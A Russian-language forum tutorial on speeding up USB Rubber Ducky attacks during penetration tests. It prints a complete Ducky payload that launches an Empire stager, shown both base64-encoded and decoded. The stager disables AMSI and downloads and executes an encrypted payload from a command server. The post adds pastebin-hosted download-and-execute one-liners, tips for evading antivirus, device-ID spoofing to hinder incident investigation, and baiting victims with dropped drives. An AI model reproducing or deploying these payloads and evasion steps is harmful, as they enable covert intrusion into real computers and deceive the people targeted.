Приветствую уважаемых участников и гостей форума!
В предыдущей части, мы научились писать простые пейлоады на Ducky Script и проводить элементарные атаки с помощью "Rubber Ducky" в лабораторных условиях.
Но на практике, в реальной жизни, часто возникают ситуации когда у нас нет достаточного количества времени на атаку, т.к суть большинства векторов, с использованием HID "Rubber Ducky", сводиться к открытию сессии Meterpreter или Empire, что все таки требует времени, несмотря на высокую скорость набора команд. (1000 символов/минута)
В этой статье, мы рассмотрим несколько практических методик, позволяющих значительно сократить время атаки и минимизировать риск быть обнаруженным, во время проведения тестирования на проникновение.
Информация предназначена исключительно в образовательных целях.
Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.
Итак, пожалуй начнем с классификации векторов атак с использованием "Rubber Ducky":
1. "Физический контакт" - как очевидно из названия, способ заключается в реализации возможности незаметно вставить наше устройство в USB-порт компьютера цели, во время ее отсутствия на рабочем месте
Преимущества:
1) Доставка полезной нагрузки гарантирована
2) Цель не подразумевает о компроментации
Недостатки:
1) Серьезный риск быть пойманным
2) Недостаток времени (можем только предпологать когда вернется цель)
3) Hеудобное расположение и доступность USB-портов на целевом компьтере (в случае, если системный блок расположен под столом)
2. "Подарок" - суть способа, в необходимости подбросить наш девайс цели, используя методики СИ (прислать в качестве сувенирной продукции с логотипом компании-партнера; "потерять" на парковке рядом с автомобилем цели, с логотипом компании-конкурента и надписью "Контрагенты-2017" и пр. варианты)
Преимущества:
1) Минимальный риск быть пойманным
2) В большинстве случаев, доставка полезной нагрузки проходит удачно, так как любопытство одерживает верх над здравым смыслом, особенно когда на флешке написано "Ню-фотосессия 2017"))
Недостатки:
1) Цель находится перед монитором в процессе компрометации и фиксирует необычное поведение компьютера, после подключения нашего "подарка" (открывается консоль, набираются команды и пр.)
3. "Ниндзя" - в лучших традициях голливудских триллеров, дождаться ночи, взломать замки, преодолеть сигнализацию, вырубить охрану, незаметно прокрасться в офис и скомпрометировать целевую машину, используя "Rubber Ducky" исключительно для автоматизации процесса, чтобы вручную не набирать команды в консоли
Преимущества:
1) Доставка полезной нагрузки гарантирована
2) Обладая такими навыками, стоит задуматься о карьере спецагента, а не пентестера)
Недостатки:
1) Очень серьезный риск быть пойманным
Итак, согласно классификации, при проведении атаки "Физический контакт" одним из ключевым факторов успеха является время, чем меньше времени займет исполнение кода полезной нагрузки, тем больше шансов остаться незамеченным.
Давайте оптимизируем время на примере стайджера Empire /stager/windows/ducky
Код:
DELAY 3000
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 2000
STRING powershell -W Hidden -nop -noni -enc WwBSAGUAZgBdAC4AQQBzAHMARQBNAGIATAB5AC4ARwBFAFQAVAB5AHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAFUAZQAoACQAbgBVAEwAbAAsACQAdABSAFUAZQApAH0AOwBbAFMAeQBTAFQAZQBtAC4ATgBFAFQALgBTAGUAcgB2AGkAQwBFAFAAbwBJAE4AdABNAEEATgBBAEcAZQBSAF0AOgA6AEUAWABwAEUAYwB0ADEAMAAwAEMATwBOAFQASQBOAFUARQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBiAEoAZQBDAFQAIABTAHkAUwB0AEUATQAuAE4AZQBUAC4AVwBFAGIAQwBsAGkARQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AGMALgBIAGUAQQBkAEUAUgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAEUAQgBSAEUAUQB1AGUAcwBUAF0AOgA6AEQARQBGAGEAdQBMAHQAVwBFAEIAUAByAE8AeAB5ADsAJABXAEMALgBQAFIAbwBYAFkALgBDAFIARQBkAGUAbgB0AEkAQQBMAFMAIAA9ACAAWwBTAHkAcwBUAEUATQAuAE4ARQB0AC4AQwByAEUARABlAE4AdABpAEEAbABDAEEAQwBoAGUAXQA6ADoARABFAEYAQQBVAEwAVABOAEUAVABXAE8AUgBrAEMAUgBFAEQAZQBOAHQASQBhAGwAUwA7ACQASwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAEMATwBkAGkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcAYwBJAHAAMABDADwASgAtAHMAbABUAF8AXgBAAGkANABQAEcALAA4AHgAWABGACsAZgBFAFIAMwB2AEQAfgBkACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAGEAZABFAHIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABiADEAcgBKAGoATABuAGwANQBKAGsAMABqADEATgAxAFYAZABoAHgAZwByAE8ANgArAFkAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABEAGEAVABBAD0AJABXAEMALgBEAE8AdwBOAGwAbwBhAGQARABhAFQAYQAoACQAcwBlAFIAKwAkAHQAKQA7ACQAaQBWAD0AJABEAEEAdABBAFsAMAAuAC4AMwBdADsAJABEAEEAdABhAD0AJABEAEEAdABBAFsANAAuAC4AJABEAGEAdABhAC4ATABFAG4ARwB0AEgAXQA7AC0ASgBPAEkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
ENTER
На выполнение данного кода, необходимо приблизительно 40 сек
Также, к этому необходимо добавить время на установку драйверов, так как подавляющее большинство машин на тестах в реальной жизни никогда не имели дел с VID/PID контроллера "Rubber Ducky"
Оптимизиция:
1. Декодируем Base-64 stager Empire
$ echo "WwBSAEUARgBdAC4AQQBTAFMAZ...ACkAfABJAEUAWAA=" | base64 -d
Код:
[REF].ASSemBLY.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFieLd('amsiInitFailed','NonPublic,Static').SeTVaLUE($NULl,$TruE)};[SYStEm.NeT.SeRvIcEPoIntMaNager]::EXPEcT100CoNtiNUe=0;$WC=New-ObjeCT SysTeM.NeT.WebCLIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeAdeRs.ADD('User-Agent',$u);$WC.ProXy=[SystEm.NEt.WeBREqueSt]::DEfaULtWeBPRoXy;$wC.PRoXY.CreDENTIALS = [SYStEm.Net.CreDEnTIAlCaChe]::DEFAUltNEtworKCredENtIALS;$K=[SysTeM.TExT.ENcODING]::ASCII.GetBytES('cIp0C<J-slT_^@i4PG,8xXF+fER3vD~d');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CouNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$Wc.HEadERs.ADD("Cookie","session=yf4qx5Kgt/VLttX7JIdbgtni/iQ=");$ser='192.168.*.*:80';$t='/login/process.php';$daTa=$WC.DOWNLOAdDAta($ser+$t);$Iv=$dAta[0..3];$DaTa=$daTA[4..$dAta.leNGTh];-JoiN[ChAr[]](& $R $DaTA ($IV+$K))|IEX
2. Загружаем декодированный stager Empire на
Ссылка скрыта от гостей
Просто скопировать/вставить и сохранить страницу в raw
Примечание: Рекомендую использовать именно https версию pastebin.com чтобы избежать детекта AV
3. Создаем команду для powershell запускающую stager Empire
Код:
powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/U3iyw194')
4. Снижаем дефолтные параметры задержки Empire /stager/windows/ducky (значения подобраны экспериментально)
Код:
DELAY 500
GUI r
DELAY 100
5. Подменяем VID/PID значения устройства
Для сокращения времени, которое тратилось на установку драйверов, нам необходимо подменить VID (Vendor ID) и PID Product ID на значения универсальной клавиатуры Microsoft (0x045E) Generic 'Keyboard' (0xFFF8) К тому же это затруднит обнаружение данного вектора при возможном расследовании инцидента
Скачать vidpid.bin от Microsoft можно
Ссылка скрыта от гостей
, далее просто сохранить в корневую директорию "Rubber Ducky"В итоге у нас получается
Код:
DELAY 500
GUI r
DELAY 100
STRING powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
ENTER
Приблизительное время - 3 сек
При проведении атаки под кодовым названием "Подарок", ключевым фактором является правдоподобность содержания "подаренного/подброшенного" устройства, т.е. маркировка "SwingerParty 2017" подразумевает соответствующий контент внутри, который еще и будет отвлекает внимание жертвы во время выполнения кода полезной нагрузки
Таким образом, необходимо чтобы "Rubber Ducky" был доступен в качестве USB-накопителя на целевом устройстве, а для доставки мы будем также использовать pastebin
1.Меняем оригинальную прошивку на образ Twin Duck
Качаем образ c_duck_v2.1.hex по ссылку https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images
1) Устанавливаем dfu-programmer:
$ sudo apt-get update && sudo apt-get install dfu-programmer
2) Достать карту памяти и подключить к USB
3) Удалить текущую прошивку:
$ sudo dfu-programmer at32uc3b1256 erase
4) Установить Twin Duck :
$ sudo dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem c_duck_v2.1.hex
5) Сбросить настройки контроллера и отключить от USB:
$ sudo dfu-programmer at32uc3b1256 reset
2. Подменяем VID/PID значения устройства
В этом случае прикинимся обычно флешкой на одном из самых распространенных чипсетов USB-накопителей: Alcor Micro Corp (0x058F), Generic "Flash Drive" (0x6387)
Скачать Alcor Micro vidpid.bin можно
Ссылка скрыта от гостей
и скопировать его root нашего девайса3. Добавим ярлык тома для нашего устройства
Самый простой способ использовать GParted
Ссылка скрыта от гостей
4. Правдоподобность содержания, на этом этапе, используя навыки СИ и знания о цели необходимо загрузить контент, который будет внутри тома нашего "подарка", чтобы заинтересовать жертву содержанием, например фин. директору/главному бухгалтеру будут более интересны - балансы, счета, налоговые декларации и пр. документация конкурирующей фирмы, отделу продаж - база контрагентов, а студента, подрабатывающего охранником больше заинтересуют эротические фото однокурсницы и т.д.
Примечание: Рекомендую сделать файл vidpid.bin скрытым в Windows-системах, через присвоения соответствующих атрибутов
5. Создаем и компилируем пейлоад, используя методику доставки pastebin, как в атаке "Физический контакт"
Благодарю за внимание!
Последнее редактирование модератором: